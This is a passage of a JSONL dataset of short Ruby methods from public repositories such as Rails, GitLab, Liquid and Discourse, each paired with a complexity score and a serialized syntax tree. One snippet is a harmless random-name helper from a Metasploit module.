children\":[\"Performance Field\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"values\"]},{\"type\":\"send\",\"children\":[null,\"rt_perf_model_details\",{\"type\":\"lvar\",\"children\":[\"dbs\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"operator\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Operator\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"values\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\">\"]},{\"type\":\"str\",\"children\":[\">=\"]},{\"type\":\"str\",\"children\":[\"<\"]},{\"type\":\"str\",\"children\":[\"<=\"]},{\"type\":\"str\",\"children\":[\"=\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"value_threshold\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Value Threshold\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"required\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"trend_direction\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"And is Trending\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"required\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"values\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"none\"]},{\"type\":\"str\",\"children\":[\" Don't Care\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"up\"]},{\"type\":\"str\",\"children\":[\"Up\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"up_more_than\"]},{\"type\":\"str\",\"children\":[\"Up More Than\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"down\"]},{\"type\":\"str\",\"children\":[\"Down\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"down_more_than\"]},{\"type\":\"str\",\"children\":[\"Down More Than\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"not_up\"]},{\"type\":\"str\",\"children\":[\"Not Up\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"not_down\"]},{\"type\":\"str\",\"children\":[\"Not Down\"]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"trend_steepness\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Per Minute\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"required\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"rt_time_threshold\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Field Meets Criteria for\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"required\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"debug_trace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Debug Tracing\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"required\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"values\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"false\"]},{\"type\":\"str\",\"children\":[\"true\"]}]}]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"operating_range_exceptions\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Normal Operating Range\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"db\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dbs\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Vm\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"responds_to_events\"]},{\"type\":\"str\",\"children\":[\"vm_perf_complete\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"options\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"perf_column\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Performance Field\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"values\"]},{\"type\":\"send\",\"children\":[null,\"operating_range_perf_model_details\",{\"type\":\"lvar\",\"children\":[\"dbs\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"operator\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Operator\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"values\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Exceeded\"]},{\"type\":\"str\",\"children\":[\"Fell Below\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"rt_time_threshold\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Field Meets Criteria for\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"required\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"hourly_performance\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Hourly Performance\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"db\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dbs\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EmsCluster\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"responds_to_events\"]},{\"type\":\"str\",\"children\":[\"_hourly_timer_\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"options\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"perf_column\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Performance Field\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"values\"]},{\"type\":\"send\",\"children\":[null,\"hourly_perf_model_details\",{\"type\":\"lvar\",\"children\":[\"dbs\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"operator\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Operator\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"values\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\">\"]},{\"type\":\"str\",\"children\":[\">=\"]},{\"type\":\"str\",\"children\":[\"<\"]},{\"type\":\"str\",\"children\":[\"<=\"]},{\"type\":\"str\",\"children\":[\"=\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"value_threshold\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Value Threshold\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"required\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"trend_direction\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"And is Trending\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"required\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"values\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"none\"]},{\"type\":\"str\",\"children\":[\" Don't Care\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"up\"]},{\"type\":\"str\",\"children\":[\"Up\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"down\"]},{\"type\":\"str\",\"children\":[\"Down\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"not_up\"]},{\"type\":\"str\",\"children\":[\"Not Up\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"not_down\"]},{\"type\":\"str\",\"children\":[\"Not Down\"]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"hourly_time_threshold\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Field Meets Criteria for\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"required\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"debug_trace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Debug Tracing\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"required\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"values\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"false\"]},{\"type\":\"str\",\"children\":[\"true\"]}]}]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"reconfigured_hardware_value\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Hardware Reconfigured\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"db\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Vm\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"responds_to_events\"]},{\"type\":\"str\",\"children\":[\"vm_reconfigure\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"options\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"hdw_attr\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Hardware Attribute\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"values\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"memory_mb\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dictionary\"]},\"gettext\",{\"type\":\"str\",\"children\":[\"memory_mb\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"column\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cpu_total_cores\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dictionary\"]},\"gettext\",{\"type\":\"str\",\"children\":[\"cpu_total_cores\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"column\"]}]}]}]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"operator\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Operator\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"values\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Increased\"]},{\"type\":\"str\",\"children\":[\"Decreased\"]}]}]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"changed_vm_value\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"VM Value changed\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"db\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Vm\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"responds_to_events\"]},{\"type\":\"str\",\"children\":[\"vm_reconfigure\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"options\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"hdw_attr\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"VM Attribute\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"values\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cpu_affinity\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dictionary\"]},\"gettext\",{\"type\":\"str\",\"children\":[\"cpu_affinity\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"column\"]}]}]}]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"operator\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Operator\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"values\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Changed\"]}]}]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"dwh_generic\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"External Prometheus Alerts\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"db\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ContainerNode\"]},{\"type\":\"str\",\"children\":[\"ExtManagementSystem\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"responds_to_events\"]},{\"type\":\"str\",\"children\":[\"datawarehouse_alert\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"options\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"always_evaluate\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"15e34ccb-9bd5-4903-be4c-e310d5852d4e"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/scoping/default_scoping_test.rb","start_line":402,"raw_source":"def test_unscope_left_joins\n    expected = Developer.all.collect(&:name)\n    received = Developer.left_joins(:projects).select(:id).unscope(:left_joins, :select).collect(&:name)\n    assert_equal expected, received\n  end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_unscope_left_joins\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Developer\"]},\"all\"]},\"collect\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"received\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Developer\"]},\"left_joins\",{\"type\":\"sym\",\"children\":[\"projects\"]}]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"unscope\",{\"type\":\"sym\",\"children\":[\"left_joins\"]},{\"type\":\"sym\",\"children\":[\"select\"]}]},\"collect\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"lvar\",\"children\":[\"received\"]}]}]}]}","id":"1ebb8915-424e-4a84-b1de-0d1e6d28c7ac"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/models/stat.rb","start_line":59,"raw_source":"def hexagons_available?\n    h3_hex_ids.present? &&\n      (h3_hex_ids.is_a?(Hash) || h3_hex_ids.is_a?(Array)) &&\n      h3_hex_ids.any?\n  end","complexity_score":13.9,"ast_json":"{\"type\":\"def\",\"children\":[\"hexagons_available?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"h3_hex_ids\"]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"h3_hex_ids\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"h3_hex_ids\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"h3_hex_ids\"]},\"any?\"]}]}]}","id":"66ceca47-9762-48a0-af42-35b1f7bc3fb9"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/tags/for_tag_test.rb","start_line":141,"raw_source":"def test_dynamic_variable_limiting\n    assigns           = { 'array' => [1, 2, 3, 4, 5, 6, 7, 8, 9, 0] }\n    assigns['limit']  = 2\n    assigns['offset'] = 2\n\n    assert_template_result('34', '{%for i in array limit: limit offset: offset %}{{ i }}{%endfor%}', assigns)\n  end","complexity_score":6.75,"ast_json":"{\"type\":\"def\",\"children\":[\"test_dynamic_variable_limiting\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"assigns\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"array\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[6]},{\"type\":\"int\",\"children\":[7]},{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[9]},{\"type\":\"int\",\"children\":[0]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"assigns\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"assigns\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"offset\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"34\"]},{\"type\":\"str\",\"children\":[\"{%for i in array limit: limit offset: offset %}{{ i }}{%endfor%}\"]},{\"type\":\"lvar\",\"children\":[\"assigns\"]}]}]}]}","id":"b3e2dc3d-85d3-49ed-b8f8-f10b5a68ed98"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/group_clusterable_presenter.rb","start_line":19,"raw_source":"def create_cluster_migration_path(cluster)\n    migrate_group_cluster_path(clusterable, cluster)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_cluster_migration_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cluster\"]}]},{\"type\":\"send\",\"children\":[null,\"migrate_group_cluster_path\",{\"type\":\"send\",\"children\":[null,\"clusterable\"]},{\"type\":\"lvar\",\"children\":[\"cluster\"]}]}]}","id":"1a2b9fef-0b55-4d3e-a487-041ace604098"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/jwt_v2/claim_mapper/repository.rb","start_line":13,"raw_source":"def to_h\n            {\n              ci_config_ref_uri: ci_config_ref_uri,\n              ci_config_sha: pipeline.sha\n            }\n          end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"to_h\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ci_config_ref_uri\"]},{\"type\":\"send\",\"children\":[null,\"ci_config_ref_uri\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ci_config_sha\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline\"]},\"sha\"]}]}]}]}","id":"55a19b17-dc6f-4be2-9382-d8c1ecf55d5f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/gitlab_github_import_rce_cve_2022_2992.rb","start_line":81,"raw_source":"def group_name\n    @group_name ||= Rex::Text.rand_text_alpha(8..12)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"group_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@group_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[12]}]}]}]}]}","id":"cc396782-0591-4eb2-ae81-28b21b24b944"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/admin/organizations_controller.rb","start_line":18,"raw_source":"def check_feature_flag!\n      access_denied! unless ui_for_organizations_enabled?\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"check_feature_flag!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ui_for_organizations_enabled?\"]},null,{\"type\":\"send\",\"children\":[null,\"access_denied!\"]}]}]}","id":"705c18b2-a1d4-4153-aea4-a6bff59b0787"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/rails/generators/active_record/model/model_generator.rb","start_line":36,"raw_source":"def create_module_file\n        return if regular_class_path.empty?\n        template \"module.rb\", File.join(\"app/models\", \"#{class_path.join('/')}.rb\") if behavior == :invoke\n      end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create_module_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"regular_class_path\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"behavior\"]},\"==\",{\"type\":\"sym\",\"children\":[\"invoke\"]}]},{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"str\",\"children\":[\"module.rb\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"str\",\"children\":[\"app/models\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"class_path\"]},\"join\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"str\",\"children\":[\".rb\"]}]}]}]},null]}]}]}","id":"35872661-edf4-41c2-93e2-d7c3c863382f"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/topic_tracking_state.rb","start_line":240,"raw_source":"def self.new_filter_sql\n    ActiveRecord::Base.connection.to_sql(\n      TopicQuery\n        .new_filter(Topic, treat_as_new_topic_clause_sql: treat_as_new_topic_clause)\n        .where_clause\n        .ast,\n    ) + \" AND topics.created_at > :min_new_topic_date\" + \" AND dismissed_topic_users.id IS NULL\"\n  